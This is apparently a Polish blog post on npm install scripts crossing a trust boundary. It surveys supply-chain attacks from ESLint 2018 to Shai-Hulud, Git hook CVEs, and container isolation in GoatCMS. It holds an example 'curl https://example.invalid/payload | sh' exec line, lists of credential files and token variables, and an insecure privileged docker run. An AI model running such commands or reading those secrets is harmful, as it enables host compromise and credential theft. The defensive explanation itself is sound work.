`npm install` nie powinien oznaczać: „uruchom obcy kod na moim komputerze”
Jak skrypty instalacyjne zależności przekraczają granicę zaufania oraz jak ograniczyć związane z tym ryzyko.
npm install nie powinien oznaczać: „uruchom obcy kod na moim komputerze”
Współczesny projekt JavaScript potrafi mieć setki lub tysiące zależności.
Wykonujemy:
pnpm installi intuicyjnie traktujemy tę operację jak pobranie bibliotek.
Przez lata oznaczała ona jednak coś więcej:
Pobierz kod napisany przez kogoś innego i pozwól mu uruchomić program na moim komputerze.
Pakiety npm mogły definiować między innymi:
preinstall
install
postinstalla package manager wykonywał je automatycznie podczas instalacji.
Jeżeli taki skrypt działa bezpośrednio na hoście, otrzymuje uprawnienia użytkownika uruchamiającego npm lub pnpm. Może czytać jego pliki, zmienne środowiskowe, uruchamiać procesy i komunikować się z siecią.
To nie jest wyłącznie problem npm.
To problem granicy zaufania pomiędzy pobranym kodem a hostem, na którym ten kod zostaje wykonany.
Kod z zależności jest programem
Niewinnie wyglądający fragment:
{
"scripts": {
"postinstall": "node setup.js"
}
}jest w praktyce zgodą na wykonanie programu.
Program ten może próbować odczytać:
~/.npmrc
~/.ssh/
~/.aws/
~/.config/gcloud/
~/.kube/config
.git-credentialsalbo zmienne środowiskowe:
NPM_TOKEN
GITHUB_TOKEN
AWS_ACCESS_KEY_ID
DATABASE_URL
DEPLOY_TOKEN
CI_JOB_TOKENMoże również uruchamiać kolejne procesy:
import { exec } from "node:child_process";
exec("curl https://example.invalid/payload | sh");Na komputerze developera jest to niebezpieczne.
Na CI problem może być jeszcze większy. Runner często posiada tokeny pozwalające publikować paczki, pobierać prywatne repozytoria, wdrażać aplikację albo komunikować się z infrastrukturą chmurową.
Historia npm pokazuje, że nie jest to zagrożenie teoretyczne.
Kiedy npm install prowadził do kompromitacji hosta
ESLint — 2018: kradzież tokenów npm
W lipcu 2018 roku przejęto konto jednego z maintainerów ESLint i opublikowano złośliwe wersje:
eslint-scope@3.7.2
eslint-config-eslint@5.0.2Pakiety zawierały złośliwy postinstall.
Podczas instalacji pobierały kod z Pastebin, wykonywały go i przesyłały atakującemu zawartość:
~/.npmrcPlik ten często zawierał token pozwalający publikować pakiety do npm.
Atak nie kończył się więc na jednym komputerze.
Potencjalny łańcuch wyglądał następująco:
flowchart LR
A[Złośliwy pakiet] --> B[postinstall]
B --> C[Kradzież tokena npm]
C --> D[Przejęcie konta maintainera]
D --> E[Publikacja kolejnych pakietów]npm unieważnił później tokeny wydane przed momentem incydentu. Nie opublikowano dowodów na masowe wykorzystanie skradzionych tokenów, ale mechanizm pokazał, że laptop developera może być wejściem do całego software supply chain.
ua-parser-js — 2021: malware instalowany na komputerach developerów
W październiku 2021 roku napastnik przejął konto autora bardzo popularnego pakietu ua-parser-js i opublikował złośliwe wersje:
0.7.29
0.8.0
1.0.0Podczas instalacji uruchamiany był preinstall.js, który rozpoznawał system operacyjny i uruchamiał odpowiedni payload.
Na zainfekowanych urządzeniach instalowano między innymi cryptominera, a na Windows również malware służący do kradzieży danych.
GitHub potraktował incydent na tyle poważnie, że zalecił uznanie każdego komputera, na którym zainstalowano lub uruchomiono złośliwą wersję, za w pełni skompromitowany.
Zalecano rotację wszystkich kluczy i sekretów — z innego, czystego urządzenia. Samo usunięcie pakietu nie dawało gwarancji usunięcia malware.
To ważny przykład, ponieważ pokazuje różnicę między:
złośliwy JavaScript działający w aplikacjia:
złośliwy kod wykonany podczas instalacji
→ instalacja programu na hoście
→ kompromitacja systemu operacyjnegocoa i rc — 2021: password stealer i keylogger
Kilka tygodni później przejęto popularne pakiety coa oraz rc.
Złośliwy preinstall uruchamiał łańcuch:
preinstall
↓
compile.js
↓
compile.bat
↓
pobranie DLL
↓
regsvr32.exe
↓
malware na WindowsPayload potrafił:
- kraść hasła z przeglądarek,
- kraść dane z klientów FTP,
- kraść dane z klientów VNC i poczty,
- wykonywać screenshoty,
- rejestrować naciśnięcia klawiszy.
CERT-EU zalecił traktowanie komputerów, na których zainstalowano złośliwe wersje, jako skompromitowanych i rotację haseł oraz innych sekretów.
Pakiety były wówczas pobierane miliony razy tygodniowo. Atak wykryto stosunkowo szybko między innymi dlatego, że złośliwe wersje powodowały błędy części pipeline'ów. To ograniczyło realny zasięg, ale bardziej dyskretny payload wykorzystujący ten sam mechanizm mógł spowodować znacznie większe szkody.
Shai-Hulud: kiedy supply-chain staje się robakiem
W 2025 roku problem wszedł na zupełnie inny poziom.
Shai-Hulud był samoreplikującym się malware atakującym ekosystem npm.
Pierwsza duża fala wstrzykiwała do przejętych pakietów złośliwe skrypty postinstall.
Malware szukało między innymi:
npm credentials
GitHub Personal Access Tokens
AWS credentials
Azure credentials
GCP credentials
CI/CD secretsZdobyte tokeny npm pozwalały automatycznie przejmować kolejne pakiety należące do tego samego maintainera.
Powstał mechanizm robaka:
flowchart TD
A[Przejęty pakiet npm] --> B[npm / pnpm install]
B --> C[Lifecycle script]
C --> D[Kradzież credentials]
D --> E[Token npm / GitHub]
E --> F[Publikacja złośliwej wersji kolejnego pakietu]
F --> G[Kolejni developerzy i CI]
G --> BGitHub usunął w reakcji na pierwszą kampanię ponad 500 skompromitowanych pakietów. CISA potwierdziła, że malware kradło między innymi tokeny GitHub oraz klucze AWS, GCP i Azure.
Shai-Hulud 2.0: preinstall, persistence i niszczenie danych
Druga duża fala z listopada 2025 roku była jeszcze bardziej agresywna.
Atak przeniósł wykonanie payloadu z postinstall do preinstall.
To istotna różnica.
Kod mógł zostać wykonany zanim instalacja pakietu dobiegła końca.
Microsoft opisał złośliwy preinstall, który uruchamiał setup_bun.js, przygotowywał runtime Bun, a następnie wykonywał właściwy credential stealer.
Malware:
- kradło credentials,
- publikowało je do repozytoriów GitHub,
- używało tokenów npm do infekowania kolejnych pakietów,
- próbowało rejestrować zainfekowane urządzenia jako GitHub self-hosted runners,
- posiadało mechanizm umożliwiający późniejsze wykonywanie kodu,
- a w pewnych warunkach próbowało niszczyć zawartość katalogu domowego użytkownika.
Unit 42 opisał ponad 25 000 utworzonych złośliwych repozytoriów GitHub związanych z kampanią.
Datadog potwierdził 796 przejętych pakietów npm, które łącznie miały ponad 20 milionów tygodniowych pobrań. Na podstawie publicznie dostępnych danych oszacowano również eksfiltrację danych ponad 500 użytkowników GitHub należących do ponad 150 organizacji.
W 2026 roku pojawiały się kolejne warianty tego mechanizmu. Microsoft opisał w maju kampanię obejmującą ponad 170 pakietów npm i dwa pakiety PyPI.
Wspólny problem
Wszystkie te ataki różniły się szczegółami.
Łączyła je jednak jedna fundamentalna właściwość:
kod kontrolowany przez kogoś innego
↓
automatyczne wykonanie
↓
uprawnienia użytkownika hosta
↓
dostęp do jego zasobówJeżeli dependency zostanie przejęte, sam package manager staje się mechanizmem dostarczenia malware.
Dlatego problemu nie należy sprowadzać wyłącznie do postinstall.
Plugin Vite, Webpack loader, generator kodu, skrypt testowy czy:
pnpm buildrównież wykonują kod.
Właściwe pytanie brzmi więc:
Gdzie wykonujemy cudzy kod i do czego pozwalamy mu się dostać?
Git: clone nie powinien oznaczać execute
Interesującego kontrastu dostarcza Git.
Git również posiada hooki:
pre-commit
post-checkout
pre-push
post-mergeHook jest wykonywalnym programem, ale domyślnie znajduje się w lokalnym:
.git/hooks/Git celowo nie traktuje aktywnych hooków jako wersjonowanej, automatycznie dystrybuowanej części repozytorium.
Hook należy do lokalnej konfiguracji repozytorium.
Gdyby zdalne repozytorium mogło po prostu dostarczyć:
.git/hooks/post-checkouta:
git clone https://example.com/untrusted/project.gitautomatycznie instalował i uruchamiał ten plik, samo sklonowanie niezaufanego projektu oznaczałoby potencjalne wykonanie arbitralnego kodu.
Oficjalna dokumentacja Git mówi dziś wprost, że niektóre opcje konfiguracji oraz hooki mogą wykonywać arbitralne polecenia, ale ponieważ config i hooki nie są kopiowane przez git clone, klonowanie niezaufanej zawartości i jej przeglądanie jest co do zasady bezpieczne.
Możemy tę własność sprowadzić do prostej zasady:
clone != executeCzy Linus przewidział ten problem?
Stwierdzenie, że Linus Torvalds przewidział dzisiejsze ataki supply-chain, byłoby zbyt daleko idące.
Ale wczesne dyskusje o architekturze Gita pokazują dokładnie ten sposób rozdzielania danych repozytorium od lokalnego stanu wykonawczego.
Szczególnie ciekawa jest dyskusja z 2006 roku zatytułowana „Security problem”.
Linus wyjaśnia tam, że operacja pobierania:
“always pulls just the database, never any checked-out state”
a o working tree i indexie pisze, że:
“neither of them have any life outside of that particular repository.”
To istotna różnica architektoniczna.
Git transportuje historię i obiekty projektu.
Lokalny stan repozytorium — między innymi konfiguracja i aktywne hooki — nie powinien automatycznie przychodzić razem z niezaufanym kodem.
CVE-2024-32002: co się dzieje, kiedy ta granica zostanie przełamana
W 2024 roku odkryto CVE-2024-32002.
Podatność dotyczyła rekurencyjnego klonowania repozytoriów z submodułami w określonych warunkach, między innymi na systemach plików niewrażliwych na wielkość liter i obsługujących symlinki.
Specjalnie przygotowane repozytorium mogło oszukać Git tak, aby podczas:
git clone --recurse-submodules ...zapis nie trafił do normalnego worktree submodułu, ale do:
.git/hooks/Atakujący mógł w ten sposób umieścić tam wykonywalny hook.
Co najważniejsze, hook mógł zostać uruchomiony jeszcze podczas operacji clone, zanim użytkownik miał możliwość obejrzenia pobranego kodu.
Skutek:
flowchart TD
A[Złośliwe repozytorium] --> B[git clone --recurse-submodules]
B --> C[Błąd obsługi ścieżki / symlinka]
C --> D[Zapis do .git/hooks]
D --> E[Uruchomienie hooka]
E --> F[Arbitrary code execution na hoście]Oficjalny advisory Git klasyfikował podatność jako krytyczną.
Opis problemu jest szczególnie interesujący właśnie w kontekście naszego argumentu: vulnerability było groźne dlatego, że pozwalało ominąć normalną zasadę, według której zdalne repozytorium nie może instalować swoich hooków w lokalnym .git/hooks.
Dulwich CVE-2026-52726: ten sam problem dwa lata później
Jeszcze bardziej wymowny przykład pojawił się w 2026 roku w Dulwich — implementacji protokołów i formatu Git napisanej w Pythonie.
CVE-2026-52726 dotyczyło:
dulwich.porcelain.submodule_update(...)oraz:
dulwich.porcelain.clone(..., recurse_submodules=True)Dulwich niepoprawnie walidował ścieżkę submodułu pochodzącą z niezaufanego repozytorium.
Atakujący mógł przygotować .gitmodules, w którym ścieżką submodułu było na przykład:
.git/hooksDulwich zapisywał wtedy zawartość kontrolowaną przez napastnika bezpośrednio do katalogu hooków, zachowując wykonywalne bity plików.
Następne polecenie Git lub Dulwich wywołujące odpowiedni hook mogło doprowadzić do arbitralnego wykonania kodu.
flowchart LR
A[Malicious repository] --> B[Dulwich clone]
B --> C["submodule path = .git/hooks"]
C --> D[Executable hook zapisany lokalnie]
D --> E[Następna operacja Git]
E --> F[RCE]Podatność została naprawiona w Dulwich 1.2.5.
Co ciekawe, autorzy projektu sami opisali ją jako odpowiednik problemów znanych z Git CVE-2024-32002 / CVE-2024-32004.
Te CVE pokazują coś ważniejszego niż błąd w Git
Można spojrzeć na te przypadki jak na dwie kolejne podatności.
Ciekawsza jest jednak ich wspólna cecha.
Atakujący nie próbował stworzyć nowego mechanizmu wykonywania kodu.
Próbował dostać się do miejsca, które już posiada prawo wykonywania kodu:
.git/hooksNormalnie granica wygląda tak:
REMOTE REPOSITORY
│
│ clone
▼
tracked content
---------------------- granica zaufania
.git/config
.git/hooks/
lokalny stan repozytoriumCVE-2024-32002 i CVE-2026-52726 umożliwiały tę granicę przekroczyć:
REMOTE REPOSITORY
│
│ crafted submodule
▼
.git/hooks/
│
▼
CODE EXECUTIONTo bardzo dobrze pokazuje, dlaczego separacja data from code execution jest właściwością bezpieczeństwa.
A co z kodem, który naprawdę trzeba wykonać?
Nie możemy wyłączyć wykonywania wszystkiego.
Build aplikacji wymaga przecież:
pnpm install
pnpm buildPodobnie działają:
composer install
pip install
cargo build
makeCo więcej, samo wyłączenie postinstall nie rozwiązuje problemu.
Plugin bundlera, generator kodu, test runner czy zwykły:
build.jsrównież jest programem.
Dlatego właściwe pytanie nie brzmi:
Czy projekt używa
postinstall?
Tylko:
Gdzie ten kod zostanie wykonany i do czego będzie miał dostęp?
Izolowane wykonywanie skryptów w GoatCMS
Jednym z założeń GoatCMS jest możliwość wykonywania takich zadań w izolowanym kontenerze zamiast bezpośrednio na hoście.
Przykładowy build Node może wyglądać tak:
run:docker --image=node:22 --interactive=false --body=<<WEBEOF
set -e
mkdir -p /tmp/bin
corepack enable --install-directory /tmp/bin
export PATH="/tmp/bin:$PATH"
pnpm install --frozen-lockfile
pnpm build
WEBEOFPolecenia są takie same.
Zmienia się granica bezpieczeństwa.
flowchart LR
subgraph HOST["Host"]
A[GoatCMS]
S["HOME / SSH / AWS / system"]
end
subgraph CONTAINER["Izolowane środowisko"]
B[pnpm install]
C[pnpm build]
D[Dependencies]
end
A --> B
B --> C
D --> B
D -. brak bezpośredniego dostępu .-> SW modelu bez izolacji:
dependency
↓
proces hosta
↓
HOME / SSH / cloud credentials / inne zasobyW modelu izolowanym:
dependency
↓
jednorazowy kontener
↓
tylko jawnie udostępnione zasobyTo nie sprawia, że złośliwy skrypt staje się bezpieczny.
Ogranicza to, co może zrobić po uruchomieniu.
Kontener nie jest magicznym sandboxem
Sama obecność Dockera nie gwarantuje bezpieczeństwa.
Możemy bardzo łatwo osłabić izolację:
docker run \
--privileged \
-v /:/host \
-v /var/run/docker.sock:/var/run/docker.sock \
...Jeżeli zamontujemy do kontenera:
~/.ssh
~/.aws
~/.kubekod wewnątrz będzie mógł próbować je odczytać.
Jeżeli przekażemy:
GITHUB_TOKEN
NPM_TOKEN
AWS_SECRET_ACCESS_KEYzłośliwy dependency również może je znaleźć.
Szczególnie niebezpieczne jest:
/var/run/docker.sockponieważ możliwość sterowania Docker daemonem może oznaczać bardzo szeroki dostęp do hosta.
Dlatego model powinien wyglądać tak:
izolacja
+ minimalne mounty
+ minimalne sekrety
+ minimalne uprawnienia
+ ograniczona sieć
= mniejszy blast radiusKażdy cudzy skrypt jest potencjalnie niebezpieczny
Nie dlatego, że jego autor jest złośliwy.
Dlatego, że:
- konto maintainera może zostać przejęte,
- token publikacyjny może wyciec,
- dependency może otrzymać złośliwą wersję,
- transitive dependency może zostać przejęte,
- build tool może zawierać podatność,
- źródło obrazu lub narzędzia może zostać skompromitowane.
Nie musimy więc próbować udowodnić:
Ten skrypt jest bezpieczny.
Znacznie bardziej użyteczne pytanie brzmi:
Co ten skrypt będzie mógł zrobić, jeśli okaże się niebezpieczny?
Defense in depth
Konteneryzacja powinna być jedną z warstw, a nie jedynym zabezpieczeniem.
flowchart TD
A[Lockfile] --> B[Kontrola wersji dependencies]
B --> C[Kontrola install scripts]
C --> D[Izolowane wykonanie]
D --> E[Minimalne mounty]
E --> F[Minimalne sekrety]
F --> G[Ograniczona sieć]
G --> H[Jednorazowe środowisko]W praktyce warto:
- używać lockfile i w CI preferować:
pnpm install --frozen-lockfile- nie udostępniać kontenerowi całego
$HOME; - nie montować
docker.sock, jeżeli nie jest konieczny; - unikać
--privileged; - przekazywać wyłącznie wymagane zmienne środowiskowe;
- ograniczać outbound network tam, gdzie build go nie potrzebuje;
- używać jednorazowych środowisk;
- w bardziej restrykcyjnych pipeline'ach przypinać obrazy również do digestu:
node:22@sha256:...Żadna pojedyncza warstwa nie rozwiązuje całego problemu.
Ich połączenie sprawia jednak, że jedna przejęta paczka nie musi oznaczać przejęcia hosta.
Nie ufaj skryptowi. Ogranicz jego możliwości.
Najważniejsza lekcja z ataków na npm nie brzmi:
Nie używaj npm.
Podobnie lekcja z CVE-2024-32002 nie brzmi:
Nie używaj Git.
Problem pojawia się wtedy, gdy niezaufane dane przekraczają granicę i stają się wykonywalnym kodem posiadającym dostęp do hosta.
Git ma bardzo rozsądny model:
clone != executeCVE-2024-32002 i CVE-2026-52726 były tak poważne właśnie dlatego, że pozwalały tę zasadę obejść.
W systemach buildowych możemy zastosować podobny sposób myślenia:
download != trust
install != host access
build != unlimited permissionsKod, który dziś jest bezpieczny, jutro może zostać przejęty.
Dlatego system powinien być zaprojektowany tak, aby konsekwencje takiego zdarzenia były możliwie małe.
To jest idea stojąca za konteneryzowanymi skryptami w GoatCMS.
Nie zakładamy, że każdy dependency, plugin i build script jest godny zaufania.
Zakładamy, że któryś z nich kiedyś może nie być — i nie oddajemy mu automatycznie kluczy do całego hosta.
Źródła
Git
- Git manual, sekcja
SECURITY— oficjalna dokumentacja stwierdzająca, że config i hooki nie są kopiowane przezgit clone. Git manual — SECURITY - Linus Torvalds, dyskusja „Security problem”, 2006. Git mailing list — Security problem
- Git security advisory — CVE-2024-32002. CVE-2024-32002 / GHSA-8h77-4q3w-gfgv
- Dulwich — CVE-2026-52726. CVE-2026-52726 / GHSA-gfhv-vqv2-4544
npm / supply chain
- ESLint, oficjalny postmortem ataku z 2018 roku. ESLint — Postmortem for Malicious Packages
- GitHub Advisory — malware w
ua-parser-js. ua-parser-js — CVE-2021-4229 - CERT-EU — przejęcie
coairc. CERT-EU SA2021-062 - GitHub — pierwsza kampania Shai-Hulud. GitHub — Our plan for a more secure npm supply chain
- CISA — Shai-Hulud supply-chain compromise. CISA — Widespread Supply Chain Compromise Impacting npm
- Microsoft — analiza Shai-Hulud 2.0. Microsoft Security — Shai-Hulud 2.0
- Datadog — analiza skali Shai-Hulud 2.0. Datadog Security Labs — Shai-Hulud 2.0
- Palo Alto Unit 42 — analiza payloadu, persistence i destructive fallback. Unit 42 — Shai-Hulud npm supply-chain attack